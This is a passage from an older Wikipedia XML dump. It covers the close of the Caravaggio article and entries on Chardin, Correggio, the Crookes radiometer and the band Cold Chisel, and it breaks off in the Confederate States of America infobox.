A group of Catholic artists from [[Utrecht]], the [[Utrecht School|&quot;Utrecht Caravaggisti&quot;]], travelled to Rome as students in the first years of the 17th century and were profoundly influenced by the work of Caravaggio, as Bellori describes. On their return to the north this trend had a short-lived but influential flowering in the 1620s among painters like [[Hendrick ter Brugghen]], [[Gerrit van Honthorst]], [[Andries Both]] and [[Dirck van Baburen]]. In the following generation the affects of Caravaggio, although attentuated, are to be seen in the work of [[Rubens]] (who purchased one of his paintings for the Gonzaga of Mantua and painted a copy of the ''[[The Entombment of Christ (Caravaggio)|Entombment of Christ]]''), [[Vermeer]], [[Rembrandt Harmenszoon van Rijn|Rembrandt]], and [[Velazquez]], the last of whom who likely saw his work during his various sojourns in Italy.

===Death and rebirth of a reputation===
[[Image:Michelangelo Caravaggio 052.jpg|thumb|left|250px| ''[[The Entombment of Christ (Caravaggio)|The Entombment of Christ]].'' 1602-1603. [[Pinacoteca Vaticana]].]]

Caravaggio’s fame scarcely survived his death. His innovations inspired the Baroque, but the Baroque took the drama of his chiaroscuro without the psychological realism. He directly influenced the style of his companion [[Orazio Gentileschi]],  and his daughter [[Artemisia Gentileschi]], and, at a distance, the Frenchmen [[Georges de La Tour]] and [[Simon Vouet]], and the Spaniard [[Giuseppe Ribera]]. Yet within a few decades his works were being ascribed to less scandalous artists, or simply overlooked. Largely this was a matter of changing fashion — the Baroque, to which he contributed so much, had moved on. And partly it was due to critical demolition-jobs done by two of his earliest biographers, Giovanni [[Baglione]], a rival painter with a personal vendetta, and the influential 17th century critic [[Giovanni Bellori|Giovan Bellori]], who had not known him but was under the influence of the French [[Classicist]] [[Poussin]], who had not known him either but hated his work. 

In the 1920s art critic Roberto Longhi brought Caravaggio's name once more to public attention, and placed him in the European tradition: “Ribera, [[Vermeer]], La Tour and Rembrandt could never have existed without him. And the art of [[Delacroix]], [[Courbet]] and [[Manet]] would have been utterly different.”{{ref|Longhi}} The influential [[Bernard Berenson]] agreed: “With the exception of [[Michaelangelo]], no other Italian painter exercised so great an influence.”{{ref|Berenson}} Andre Berne-Joffroy, [[Paul Valery]]’s secretary, put it in a nutshell: “What begins in the work of Caravaggio is, quite simply, modern painting.”{{ref|Andre_Berne_Joffroy}}

===Modern tradition===

[[Image:Michelangelo Caravaggio 021.jpg|thumb|right|300px|''[[The Beheading of Saint John the Baptist (Caravaggio)|The Beheading of Saint John the Baptist]]'', [[1608]]. Oil on canvas, 361 x 520 cm. Oratory of the co-Cathedral of St John, [[Valletta]].]]

Many large museums of art, for example those in [[Detroit]], and [[New York]], contain rooms where dozens of paintings by as many artists display the characteristic look of the work of Caravaggio &amp;mdash; nightime setting, dramatic lighting, ordinary people used as models, honest description from nature. In modern times, contemporary painters like the Norwegian [[Odd Nerdrum]], the Romanian [[Tibor Csernus]]. The contemporary American artist [http://www.example.com Doug Ohlson] pays homage Caravaggio's influence on his own work. Filmaker [[Derek Jarman]] turned to the Caravaggio legend when creating his movie ''[[Caravaggio (movie)|Caravaggio]]''; and Dutch art forger [[Han van Meegeren]] used genuine Caravaggios when creating his ersatz Old Masters. At least one of his paintings may have been lost in recent times: [[Richard Francis Burton]] writes of a work of his, a &quot;picture of St. Rosario (in the museum of the Grand Duke of Tuscany), showing a circle of thirty men ''turpiter ligati&quot;'' which is not known to have survived.

==Chronology of major works==
{{Commons|Michelangelo Merisi da Caravaggio}}
{{main|Caravaggio, chronology of works}}

==Footnotes==
#{{note|earliest_published}}
#{{note|Berne_Joffroy}}André Berne-Joffroy, quoted in Gilles Lambert, &quot;Caravaggio&quot;, p.8
#{{note|early_life}}The Colonna were one of the leading aristocratic families in Rome, and part of a network of powerful connections that seemed to have supported the artist at crucial points in his life. Thus in 1606, following the death of Ranuccio, he fled first to the Colonna estates south of Rome, then on to Naples where Costanza Colonna Sforza, widow of Francesco Sforza, maintained a palace. Costanza's brother Ascanio was Cardinal-Protector of the Kingdom of Naples, another brother, Marzio, was an advisor to the Spanish Viceroy, and a sister was married into the locally important Carafa family - connections which might help explain the cornucopia of major commissions which fell into Caravaggio's lap in that city. Costanza's son Fabrizio Sforza Colonna, Knight of Malta and general of the Order's galleys, appears to have facilitated his arrival in the island in 1607 and his escape the next year, and he stayed in Costanza's Neapolitan palazzo on his return to the city in 1609. These connections are treated in most biographies and studies - see, for example, Catherine Puglisi, &quot;Caravaggio&quot;, p.258, for a brief outline, and Peter Robb, &quot;M&quot;, pp.398ff and 459ff, for a fuller account.
#{{note|earliest_published}}
#{{note|naked_and_extremely_needy}}Quoted without attribution in Robb, p.35
#{{note|flowers_and_fruit}}Giovanni Pietro Bellori, ''Le Vite de' pittori, scultori, et architetti moderni'', 1672: &quot;Michele was forced by necessity to enter the services of Cavalier Giuseppe d'Arpino, by whom he was employed to paint flowers and fruits so realistically that they began to attain the higher beauty that we love so much today.&quot;
#{{note|Minniti}}
#{{note|professor_of_horticulture}}[http://www.hort.purdue.edu/newcrop/caravaggio/caravaggio_l.html Caravaggio's Fruit: A Mirror on Baroque Horticulture (Jules Janick, Department of Horticulture and Landscape Architecture, Purdue University, West Lafayette, Indiana)]
#{{note|Cardsharps}}
#{{note|homoerotic}}
#{{note|earliest_published}}
#{{note|looked_upon_his_work_as_miracles}}Bellori. The passage continues: &quot;[the younger painters] outdid each other in copying him, undressing their models and raising their lights; and rather than setting out to learn from study and instruction, each readily found in the streets or squares of Rome both masters and models for copying nature.&quot;
#{{note|vulgar}}
#{{note|he_stands_in_God's_light}}Quoted without attribution in Lambert, p.66
#{{note|Death_of_the_Virgin_Mancini}}Giulio Mancini, ''Considerazioni sulla pittora'': &quot;Thus one can understand how badly some modern artists paint, such as those who, wishing to portray the Virgin Our Lady, depict some dirty prostitute from the Ortaccio, as Michelangelo da Caravaggio did in the Death of the Virgin in that painting for the Madonna della Scala, which for that very reason those good fathers rejected it, and perhaps that poor man suffered so much trouble in his lifetime.&quot;
#{{note|Death_of_the_Virgin_Baglione}}Giovanni Baglione, ''Le vite de' pittori'', 1642: &quot;For the Madonna della Scala in Trastevere he painted the death of the Madonna, but because he had portrayed the Madonna with little decorum, swollen and with bare legs, it was taken away, and the Duke of Mantua bought it and placed it in his most noble gallery.&quot;
#{{note|Ceccho}}
#{{note|www.telegraph.co.uk.524}}The circumstances of the brawl and the death of Ranuccio Tomassoni remain mysterious. Several contemporary ''avvisi'' refered to a quarrel over a gambling debt and a tennis game, and this explanation has become established in the popular imagination. But recent scholarship has made it clear that more was involved: the best modern accounts are to be found in Peter Robb's &quot;M&quot; and Helen Langdon's &quot;Caravaggio: A Life&quot;. An interesting theory by art historian Andrew Graham-Dixon relating the death to Renaissance notions of honour and symbolic wounding is to be found in [http://www.telegraph.co.uk/news/main.jhtml?xml=/news/2002/06/02/wcara02.xml&amp;sSheet=/news/2002/06/02/ixworld.html&amp;_requestid=254296 this article] by Daily Telegraph art correspondent Catherine Miller. 
#{{note|desolate_tenderness}}
#{{note|Syracuse_to_Messina_to_Polermo}}
#{{note|foul_and_rotten}}This was the formal phrase used in all such cases. The senior knights of the Order convened on [[1 December]] [[1608]] and, after verifying that the accused had failed to appear although summoned four times, voted unanimously to expel their ''putridum et foetidum'' ex-brother. Caravaggio was expelled, not for his crime, but for having left Malta without permission (i.e., escaping). 
#{{note|bizarre_behavior}}
#{{note|Naples}}
#{{note|empty}}
#{{note|David_to_Borghese}}
#{{note|death_uncertainties}}
#{{note|news.bbc.co.uk.525}} {{news reference | title=BBC News : ARTS : Caravaggio death certificate 'found' | url=http://news.bbc.co.uk/2/hi/entertainment/1723833.stm | urldate=2005-12-22 | org=BBC }}
#{{note|put_the_oscuro_into_chiaroscuro}}
#{{note|models}}
#{{note|himself_as_model}}
#{{note|Longhi}}Roberto Longhi, quoted in Lambert, op. cit., p.15
#{{note|Berenson}}Bernard Berenson, in Lambert, op. cit., p.8
#{{note|Andre_Berne_Joffroy}}Joffroy, loc. cit.
#{{note|earliest_published}}

==References==

=== Primary sources ===
The main primary sources for Caravaggio's life are:
* Giulio Mancini's comments on Caravggio in ''Considerazioni sulla pittura'', c.1617-1621
* Giovanni Baglione's biography in ''Le vite de' pittori'', 1642
* Giovanni Pietro Bellori's biograhy in ''Le Vite de' pittori, scultori et architetti moderni'', 1672
All have been reprinted in Howard Hibbard's &quot;Caravaggio&quot; and in the appendices to Catherine Puglisi's &quot;Caravaggio&quot;, while Baglione's biography is available online (see External links sxection).

=== Secondary sources===
* John Gash, ''Caravaggio'' (2003) ISBN 1904449230
* Rosa Giorgi, ''Caravaggio: Master of light and dark - his life in paintings'' (1999) ISBN 0789441381
* Howard Hibbard, ''Caravaggio'' (1983) ISBN 0064333221
* Helen Langdon, ''Caravaggio: A Life'' (1998) ISBN 0374118949
* Gilles Lambert, ''Caravaggio'' (2000) ISBN 382286305X
* Alfred Moir, ''The Italian Followers of Caravaggio'' (1967) (ISBN not available)
* Francine Prose, ''Caravaggio: Painter of Miracles'' (2005) ISBN 0060575603
* Catherine Puglisi, ''Caravaggio'' (1998) ISBN 0714839663
* [[Peter Robb]], ''[[M_(book)|M]]'' (1998) ISBN 0312274742 ISBN 0747548587
* John T. Spike, ''Caravaggio'' (2001) ISBN 0789206390

==External links==
*[http://fr.wikipedia.org/wiki/Caravaggio Caravaggio Wikipedia France ]
*[http://www.bergerfoundation.ch/Caravage/F/index.html Caravaggio, The Prince of the Night] (in French)
*[http://agora.qc.ca/mot.nsf/Dossiers/Caravage Caravaggio in &quot;Agora&quot;]
*[http://www.ibiblio.org/wm/paint/auth/caravaggio/ Caravaggio, Michelangelo Merisi da Caravaggio WebMuseun, Paris webpage]
*[http://www.fbi.gov/hq/cid/arttheft/europe/italy/italyart.htm FBI Art Theft Notice for Caravaggio's Nativity]
*[http://wnyc.vo.llnwd.net/o1/lopate/lopate100505b.mp3 Leonard Lopate interviews Francine Prose, author of Caravaggio : Painter of Miracles (MP3 Link)]
*[http://www.duffyandsnellgrove.com.au/extracts/m_interview.htm Interview with Peter Robb, author of ''M'']
*[http://www.studio-international.co.uk/archive/Caravaggio_1983_196_998.htm Appreciation of Caravaggio by writer and art critic John Berger]
*[http://caravaggio.com/preview/attach/data01/D000199.htm Caravaggio.com - an on-going website about the artist]
*[http://caravaggio.com/preview/attach/data01/D000001.htm First biography of Caravaggio (Baglione, 1642)]
*[http://cybele.eplt.washington.edu/honorsrome/zbento/Authors/kelih/Caravaggio/pub_zbarticle_view_printable.html Contarelli and Cerasi chapels]
*[http://home.worldonline.dk/lfmat/ Caravaggio CV - life of the artist with beautiful illustrations]

[[Category:1571 births|Caravaggio]]
[[Category:1610 deaths|Caravaggio]]
[[Category:Caravaggio|*Caravaggio]]
[[Category:Baroque painters|Caravaggio]]
[[Category:Italian painters|Caravaggio]]
[[Category:Natives of Lombardy|Caravaggio]]
[[Category:Gay artists|Caravaggio]]
[[Category:Pederastic lovers|Caravaggio]]
[[Category:Roman Catholic Church art]]

{{Link FA|fr}}

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  <page>
    <title>Jean-Baptiste-Siméon Chardin</title>
    <id>7019</id>
    <revision>
      <id>41827450</id>
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        <username>Sparkit</username>
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      <text xml:space="preserve">[[image:Jean-Baptiste-Siméon_Chardin.jpg|frame|right|Self portrait.]]
'''Jean-Baptiste-Siméon Chardin''' ([[November 2]], [[1699]] &amp;ndash; [[December 6]], [[1779]]) is considered by some to be the greatest of the 18th-century [[France|French]] [[Rococo]] [[List of painters|painters]].  He is known for his beautifully textured still lifes as well as his sensitive and touching [[genre painting|genre paintings]]. He was born, lived and died in [[Paris]].  Simple, even stark, but treasured paintings of common household items (''Still Life with a Smoker's Box'') and an uncanny ability to portray children's innocence in a nonsentimental manner (''Boy with a Top'') makes his paintings universal across time.  

He was the son of a cabinetmaker, and though largely self-taught, he was greatly influenced by the realism and subject matter of the 17th-century [[Low Country]] masters. His early support came from patrons in the French [[aristocracy]], including [[Louis XV of France|Louis XV]], despite his unconventional portrayal of the then-rising [[bourgeoisie]]. He was admitted to the Royal Academy in 1728. Today his paintings hang in the [[Louvre]] and other major museums. His work became popular with the general public after low-cost engravings of his paintings became available. At the end of his life he began working in pastel crayons.



==External links==
{{commonscat|Jean-Baptiste Siméon Chardin}}
*[http://www.getty.edu/art/gettyguide/artMakerDetails?maker=539 Getty Museum: Chardin]
*[http://www.ibiblio.org/wm/paint/auth/chardin/ WebMuseum: Jean-Baptiste-Siméon Chardin]

[[Category:1699 births|Chardin, Jean-Baptiste-Siméon]]
[[Category:1779 deaths|Chardin, Jean-Baptiste-Siméon]]
[[Category:French painters|Chardin, Jean-Baptiste-Siméon]]
[[Category:Rococo painters|Chardin, Jean-Baptiste-Siméon]]

[[de:Jean-Baptiste-Siméon Chardin]]
[[fr:Jean Siméon Chardin]]
[[ko:시메옹 샤르댕]]
[[ja:ジャン・シメオン・シャルダン]]
[[sv:Jean-Baptiste-Siméon Chardin]]</text>
    </revision>
  </page>
  <page>
    <title>Correggio</title>
    <id>7020</id>
    <revision>
      <id>15905123</id>
      <timestamp>2005-06-03T21:49:07Z</timestamp>
      <contributor>
        <username>Rl</username>
        <id>10481</id>
      </contributor>
      <comment>sp</comment>
      <text xml:space="preserve">'''Correggio''' is the name of a town in [[Italy]] and of a famous [[painter]] who was born there.

* [[Antonio da Correggio]]
* [[Correggio, Italy]]
* [[Corregio (play)|Corregio]], a tragedy written by [[Adam Oehlenschläger]] in [[1811]]

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Crookes radiometer</title>
    <id>7021</id>
    <revision>
      <id>42066644</id>
      <timestamp>2006-03-03T16:07:44Z</timestamp>
      <contributor>
        <username>Lumos3</username>
        <id>23657</id>
      </contributor>
      <comment>Rv testby 209.189.130.54</comment>
      <text xml:space="preserve">The '''Crookes radiometer''', also known as the '''light mill''' or '''solar engine''', consists of an airtight glass bulb, containing a partial vacuum. Inside are a set of vanes which are mounted on a spindle. The vanes rotate when exposed to light. The reason for the rotation has been the cause of much scientific debate.

It was invented in [[1873]] by the chemist [[Sir William Crookes]] as the by-product of some chemical research.  In the course of very accurate quantitative chemical work, he was weighing samples in a partially evacuated chamber to reduce the effect of air currents, and noticed the weighings were disturbed when sunlight shone on the balance. Investigating this effect, he created the device named after him. It is still manufactured and sold to this day as a curiosity item. 

[[Image:Crookes_radiometer.jpg|thumbnail|Crookes Radiometer]]

==General description==
The radiometer is made from a glass bulb from which much of the air has been removed to form a partial [[vacuum]].  Inside the bulb, on a low [[friction]] spindle, is a rotor with several (usually four) vertical lightweight metal vanes spaced equally around the axis. The vanes are polished or white on one side, black on the other. When exposed to [[sunlight]], artificial light, or [[infrared]] radiation (even the heat of a hand nearby can be enough), the vanes turn with no apparent motive power, the dark sides retreating from the radiation source and the light sides advancing.  Cooling the radiometer causes rotation in the opposite direction.

The effect begins to be seen at partial vacuum pressures of a few millimeters of mercury ([[torr]]) , reaches a peak at around 10&lt;sup&gt;-2&lt;/sup&gt; torr and has disappeared by the time the vacuum reaches 10&lt;sup&gt;-6&lt;/sup&gt; torr. [see note 1]. At these very high vacuums the effect of photon [[radiation pressure]] on the vanes can be observed in very sensitive apparatus ( see [[Nichols radiometer]]) but this is insufficient to cause rotation.

Although it has the word-element &quot;meter&quot; in its title, a radiometer cannot be used to measure anything by itself. A measurement of the speed of its rotation can, however, be obtained using a spinning slotted disk, which functions as a simple [[stroboscope]]. The light from an actual light strobe would distort the measurement.

Radiometers are now commonly sold worldwide as an interesting household novelty ornament, no batteries needed, just light to get the vanes to turn; strong light gets them spinning furiously. They come in various forms, as the one pictured, and are also to be found often used in [[science museum]]s to illustrate the hidden power of light and heat.

==Thermodynamic explanation==
===External radiant source motion===
For any [[heat engine]] to turn, there must be a difference in [[temperature]].  In this case, the black side of the vane is hotter than the other side, as [[radiant energy]] from a light source warms the black side by [[black-body absorption]] faster than the silver or white side.  The internal air [[molecule]]s are &quot;heated up&quot; (i.e. experience an increase in their speed) when they touch the black side of the vane.  The details of exactly how this moves the hotter side of the vane forward are given in the section below ''Explanations for the force on the vanes''.  

The internal temperature rises as the black vanes impart heat to the partial vacuum molecules, but they are cooled again when they touch the bulb's glass surface which is at ambient temperature.  Heat loss through the glass keeps the internal bulb temperature steady so that the two sides of the vanes can develop a temperature difference.  The white or silver side of the vanes are slightly warmer than the internal air temperature but cooler than the black side, as some heat conducts through the vane from the black side. The two sides of each vane must be thermally insulated to some degree so that the silver or white side does not immediately reach the temperature of the black side. If the vanes are made of metal, then the black or white paint can be the insulation.  The glass stays much closer to ambient temperature than the temperature reached by the black side of the vanes.  The higher external air pressure helps conduct heat away from the glass.  

A strong vacuum inside the bulb does not cause motion because there are not enough air molecules to cause air currents to move the vanes and to transfer heat to the outside before both sides of each vane reach thermal equilibrium by heat conduction through the vane material.  Higher inside pressure does not cause motion because the temperature differences are not enough to move the higher concentration of air.  There is too much air resistance for &quot;eddy currents&quot; to occur. The slight air movement caused by the temperature difference is blocked by the higher pressure before the effects can &quot;wrap around&quot; to the other side.

===Motion without external radiation===
When heating the radiometer in the absence of a light source, it turns in the forward direction.  You can place your hands around but not quite touching the glass and it will turn slowly or not at all, but if you touch the glass to warm it quickly, it will turn more noticeably.  The directly heated glass gives off enough infrared radiation to turn the vanes, but if the hands are not touching the glass, the glass blocks much of the far-infrared radiation.  Near-infrared and visible light more easily penetrate the glass.

If you cool the glass quickly in the absence of a strong light source by placing ice on the glass, it turns backwards (i.e. the silver sides are trailing).  This demonstrates black-body radiation from the black sides of the vanes rather than black-body absorption.  It turns backwards because the black sides give off more heat and cool more quickly than the other side.

The rotation lasts only as long as the temperature of the glass is increasing or decreasing fast enough to overcome the friction of the spindle and faster than the temperature conduction through the vanes can cause the two sides of the vanes to reach equal temperature.

==Explanations for the force on the vanes ==

Over the years, there have been many attempts to explain how a Crookes radiometer works:

1. Crookes incorrectly suggested that the force was due to the [[radiation pressure|pressure of light]]. This theory was originally supported by [[James Clerk Maxwell]] who had predicted this force. This explanation is still often seen in leaflets packaged with the device. The first experiment to disprove this theory was done by [[Arthur Schuster]] in [[1876]], who observed that there was a force on the glass bulb of the Crookes radiometer that was in the opposite direction to the rotation of the vanes. This showed that the force turning the vanes was generated inside the radiometer. If light pressure was the cause of the rotation, then the better the vacuum in the bulb, the less air resistance to movement, and the faster the vanes should spin. In [[1901]], with a better vacuum pump, [[Pyotr Nikolaevich Lebedev|Pyotr Lebedev]] showed that in fact, the radiometer only works when there is low pressure gas in the bulb, and the vanes stay motionless in a hard vacuum. Finally, if light pressure were the motive force, the radiometer would spin in the opposite direction as the [[photon]]s on the shiny side being reflected would deposit more momentum than on the black side where the photons are absorbed. The actual pressure exerted by light, though it exists, and can be measured with devices such as the [[Nichols radiometer]], is far too small to move these vanes.

2. Another incorrect theory was that the heat on the dark side was causing the material to outgas, which pushed the radiometer around. This was effectively disproved by both Schuster's and Lebedev's experiments.
 
3. A partial explanation is that gas [[molecule]]s hitting the warmer side of the vane will pick up some of the heat i.e. will bounce off the vane with increased speed. Giving the molecule this extra boost effectively means that a minute pressure is exerted on the vane. The imbalance of this effect between the warmer black side and the cooler silver side means the net pressure on the vane is equivalent to a push on the black side, and as a result the vanes spin round with the black side trailing. The problem with this idea is that the faster moving molecules produce more force, they also do a better job of stopping other molecules from reaching the vane, so the force on the vane should be exactly the same -- the greater temperature causes a decrease in density which results in the same force on both sides. Years after this explanation was dismissed, [[Albert Einstein]] showed that the two pressures do not cancel out exactly at the edges of the vanes because of the temperature difference there. The force predicted by Einstein would be enough to move the vanes, but not fast enough.
 
4. The final piece of the puzzle, thermal transpiration, was theorized by [[Osborne Reynolds]], but first published by [[James Clerk Maxwell]] in the last paper before his death in [[1879]].  Reynolds found that if a porous plate is kept hotter on one side than the other, the interactions between gas molecules and the walls of the pores are such that gas will flow through from the cooler to the hotter side.  The vanes of a typical Crookes radiometer are not porous, but their edges behave like the walls of the pores in Reynolds' plate.  The gas molecules move from the white side towards the black, and the vane moves oppositely: white side forward.

Both Einstein's and Reynolds' forces appear to cause a Crookes radiometer to rotate, although it still isn't clear which one is stronger. [See discussion.]

==References==
* Loeb, Leonard B. (1934) ''The Kinetic Theory Of Gases (2nd Edition)'';McGraw-Hill Book Company; pp 353-386
* Kennard, Earle H. (1938) ''Kinetic Theory of Gases''; McGraw-Hill Book Company; pp 327-337
==External links==
* [http://math.ucr.edu/home/baez/physics/General/LightMill/light-mill.html How does a light-mill work?-Physics FAQ]
* [http://members.chello.nl/~h.dijkstra19/page7.html The Cathode Ray Tube site]
* [http://www.iop.org/EJ/abstract/0959-5309/45/2/315 1933 Bell and Green experiment] descibing the effect of different gas pressures on the vanes. [1]

[[Category:Measuring instruments|Radiometer]]
[[Category:Radiometry]]

[[de:Lichtmühle]]
[[es:Radiómetro de Crookes]]
[[nl:radiometer van Crookes]]</text>
    </revision>
  </page>
  <page>
    <title>Cold Chisel</title>
    <id>7022</id>
    <revision>
      <id>41581456</id>
      <timestamp>2006-02-28T07:38:47Z</timestamp>
      <contributor>
        <username>Cantyboy</username>
        <id>967527</id>
      </contributor>
      <comment>/* Reputation */</comment>
      <text xml:space="preserve">{{Infobox_band |
  band_name         = Cold Chisel |
  image             = [[Image:coldchisel.jpg|200px]] |
  years_active      = [[1973]] &amp;ndash; [[1984]] |
  status            = active |
  origin            =  [[Adelaide, South Australia]], [[Australia]] |
  music_genre       = [[Pub rock (Australia)|Pub rock]] |
  record_label      = [[Elektra Records|Elektra]] |
  current_members   = [[Jimmy Barnes]]&lt;br /&gt;[[Don Walker]]&lt;br /&gt;[[Ian Moss]]&lt;br /&gt;[[Steve Prestwich]]&lt;br /&gt;[[Phil Small]] |[[jason white]]
}}

:''This article is about the [[Australia]]n band. For information about the cutting tool, see [[Chisel]].''

[[Cold Chisel]] produced the canonical example of Australian [[Pub rock (Australia)|pub rock]], with a string of hits throughout the [[1970s]] and [[1980s]], and they are acknowledged as one of the most popular and successful Australian groups of the period, although this success and acclaim was almost completely restricted to Australia. 

==Beginnings==

The band formed in [[Adelaide, Australia|Adelaide]] in [[1973]] as a [[heavy metal music|heavy metal]] band called Orange around keyboard player Don Walker and original bassist Les Kascmarek and while [[hard rock]] remained at the core of their sound Cold Chisel displayed a remarkable versatility. When Kascmarek left in [[1975]], Walker became the major creative force of the band. Built around Walker's superb songwriting, the group also featured the dazzling guitar and vocal talents of [[Ian Moss]] and the enormously powerful lead vocals of [[Scotland|Scottish]] [[immigrant]] [[Jimmy Barnes]].

==Musical Style==

While typically classified as a hard-driving rock and roll band, the Chisel repertoire included such Australian anthems as the landmark [[Vietnam War]] song &quot;[[Khe Sanh (song)|Khe Sanh]]&quot;, &quot;Bow River&quot;, &quot;[[Flame Trees]]&quot; and &quot;Saturday Night&quot;, but also included thoughtful ballads like &quot;Choir Girl&quot; (written about the subject of [[abortion]]), pop-flavoured love songs like &quot;My Baby&quot; and caustic political statements like &quot;Star Hotel&quot;, an attack on the late-70s government of [[Malcolm Fraser]] and inspired by a riot at a [[Newcastle, Australia|Newcastle]] pub. The music was not political in context, however Walker's songs were observations of everyday life within the Australian society and culture. One song from this period, &quot;Misfits&quot;, which featured on the b-side to &quot;My Baby&quot;, was written in the same vein as Chuck Berry, and was about homeless kids in the suburbs surrounding Sydney. 

==Reputation==

The band is often the subject of somewhat [[classist]] disdain for its particular popularity among one generation of working-class men (roughly, those born in the 60s and 70s). This is in spite of the fact that they were one of the most broadly popular and best-selling bands of the day, often featured on the nationwide pop show [[Countdown]], and were widely acknowledged as one of Australia's most accomplished live acts. Cold Chisel remains one of Australia's highest-selling bands, with sales in excess of 5 million by the beginning of the 2000s. 

Cold Chisel weren't just a band, they were a lifestyle for many of their followers, who were known as some of the roughest in the land. This gave Chisel their hard living approach to their music and made them a tough live band as well. More than 30 years after they originally played together, they attract generation after generation of new listeners. This is also evidence of Chisel's dominance of the pub rock era. They are the only Australian band to have sold more records after breakup than before and are among other bands that have become transgenerational. &quot;Khe Sanh&quot; consistently ranks highly in lists of Australia's most popular songs and their music remains a staple of rock station playlists. The Ian Moss song  &quot;Never Before&quot; (from the ''East'' LP) was chosen by FM rock station 2JJJ ([[Triple Jay]]) as the first record played on-air when the station made its transition from AM to FM in [[1980]].

Other Cold Chisel classics which still frequently get airtime on radio and in bars/pubs include Cheap Wine ( 1980 ) , Forever Now ( 1982 ) .

Despite the continued dominance of Walker, during Chisel's later career all four of the other members began to contribute songs to the band, with Moss and drummer Steve Prestwich both emerging as highly accomplished songwriters in their own right. Barnes and Small also contributed significant songs to the group's repertoire and Cold Chisel is one of the few Australian rock bands to score hits with songs written by every member of the group.

Alongside contemporaries [[Midnight Oil]], Cold Chisel was renowned as one of the most dynamic live acts of their day and from early on in their career Cold Chisel concerts routinely became sell-out events. The band was also famous for its wild lifestyle, and the hard-drinking Barnes (who has since given up alcohol) had a well-earned reputation as one of the true wild men of Australian rock.

==The Break-Up==

By [[1983]] the band had reached the zenith of their career in Australia and with overseas markets reluctant to accept them, Cold Chisel began to disintegrate. Their abortive US sojourn was commemorated in Barnes' excoriating rocker &quot;You Got Nothing I Want&quot; from the ''Circus Animals'' album, an emotional volume created from the frustration of the band’s experiences overseas.

Increasing internal tensions and the pressures of touring took their toll and Steve Prestwich -- who was often in conflict with Barnes -- left the band, to be replaced by veteran Australian drummer [[Ray Arnott]] (ex [[Spectrum (band)|Spectrum]]). Shortly afterward Cold Chisel announced their split and a series of farewell concerts, for which Prestwich re-joined. That tour became a legend in itself and was not without incident when Barnes lost his voice before the [[Sydney, Australia|Sydney]] shows, which then had to be rescheduled. The band's final performance was filmed for the documentary concert film ''The Last Stand'', which remains to this day the best-selling concert film of any single Australian act.

==Solo Careers==

Immediately after the break-up, Barnes launched a solo career that earned him an unprecedented six consecutive Number One albums, a feat no other Australian artist is likely to match, and has now sold in excess of two million albums in his own right. Walker went on to a more low-profile career as a songwriter for other artists while dabbling in [[blues]] and roots music. Prestwich joined [[Little River Band]] and was later a drummer for [[John Farnham]]. Moss lay low for most of the rest of the 80s before eventually launching his own solo career that scored him a Number One album in [[1989]].

==The Revival==

Throughout the 80s and most of the 90s, the band was courted to reform but obstinately refused. Eventually, however, Cold Chisel got back together in [[1999]] for a new CD release, titled ''The Last Wave of Summer'', and an associated concert tour. They did so again in [[2003]] for the &quot;Ringside&quot; concert tour.

==Band Members==

* [[Jimmy Barnes]] (lead vocals)
* [[Ian Moss]] (lead guitar / vocals)
* [[Don Walker]] (piano / vocals)
* [[Steve Prestwich]] (drums / vocals)
* [[Phil Small]] (bass guitar / vocals)

===Additional Players===

* [[Les Kascmarek]] (bass guitar, October 1973- July 1975)
* [[Dave Blight]] (harmonica)
* [[Billy Rodgers]] (saxophone)
* [[Jimmy Sloggett]] (saxophone)
* [[Andy Bickers]] (saxophone)
* [[Renee Geyer]] (backing vocals)
* [[Vanetta Fields]] (backing vocals)

==Albums==

* ''Cold Chisel'' (1978)
* ''You're Thirteen, Your Beautiful, and Your Mine'' (EP) (1978)
* ''Breakfast at Sweethearts'' (1979)
* ''East'' (1980)
* ''Swingshift'' (1981)
* ''Circus Animals'' (1982)
* ''The Barking Spiders: Live 1983'' (1984)
* ''Twentieth Century'' (1984)
* ''Radio Songs'' (1985)
* ''Razor Songs'' (1987)
* ''Chisel'' (1991)
* ''Last Stand'' (1992)
* ''Teenage Love'' (1994)
* ''Chisel'' (Re-release)(1995)
* ''The Last Wave of Summer'' (1998)
* ''Cold Chisel: The Studio Sessions'' (1999)
* ''Ringside'' (2003)
* ''Last Stand'' (Remastered with bonus tracks) (2005)

==External links==
* [http://www.coldchisel.com.au Official website]

[[Category:Australian musical groups]]
[[Category:Australian rock music groups|Cold Chisel]]</text>
    </revision>
  </page>
  <page>
    <title>Confederate States of America</title>
    <id>7023</id>
    <revision>
      <id>42157679</id>
      <timestamp>2006-03-04T05:02:22Z</timestamp>
      <contributor>
        <username>E Pluribus Anthony</username>
        <id>266462</id>
      </contributor>
      <minor />
      <comment>fmt</comment>
      <text xml:space="preserve">{| border=1 align=right cellpadding=4 cellspacing=0 width=300 style=&quot;margin: 0.5em 0 1em 1em; background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse; font-size: 95%;&quot;
|+&lt;big&gt;'''Confederate States of America'''&lt;/big&gt;
|-
| align=center colspan=2 |
{| border=0 cellpadding=2 cellspacing=0 style=&quot;background:#f9f9f9;&quot;
|-
| align=center width=130 | [[Image:3rdnational.png|130px|3rd flag of the Confederate States of America]]
| align=center width=130px | [[Image:ConfederateStatesofAmericaSeal.jpg|120px|Confederate States of America Seal]]
|-
| align=center width=130 | &lt;small&gt;([[Flags of the Confederate States of America|3rd Flag of the Confederacy]])&lt;/small&gt;
| align=center width=130px | &lt;small&gt;([[Confederate Seal]])&lt;/small&gt;
|}
|-
| colspan=2 align=center | &lt;small&gt;[[motto|Motto]]:&lt;br /&gt;'''''Deo Vindice'''''&lt;br /&gt;([[Latin]]: With [[God]] As Our Vindicator)&lt;/small&gt;
|-
| align=center colspan=2 | &lt;small&gt;[[National anthem|Anthem]]: &lt;br /&gt;[[God Save the South]] (unofficial)&lt;br /&gt;[[Dixie (song)|Dixie]] (popular)&lt;/small&gt;
|-
| align=center colspan=2 style=&quot;background:#fff;&quot; | [[Image:CSAlocation2.png]]
|-
| '''[[Capital]]''' || [[Montgomery, Alabama]]&lt;br&gt;&lt;small&gt;[[February 4]], [[1861]]&amp;ndash;[[May 29]], [[1861]]&lt;/small&gt;&lt;br&gt;[[Richmond, Virginia]]&lt;br&gt;&lt;small&gt;[[May 29]], [[1861]]&amp;ndash;[[April 9]], [[1865]]&lt;/small&gt;&lt;br&gt;[[Danville, Virginia]]&lt;br&gt;&lt;small&gt;[[April 3]]&amp;ndash;[[April 10]], [[1865]]&lt;/small&gt;
|-
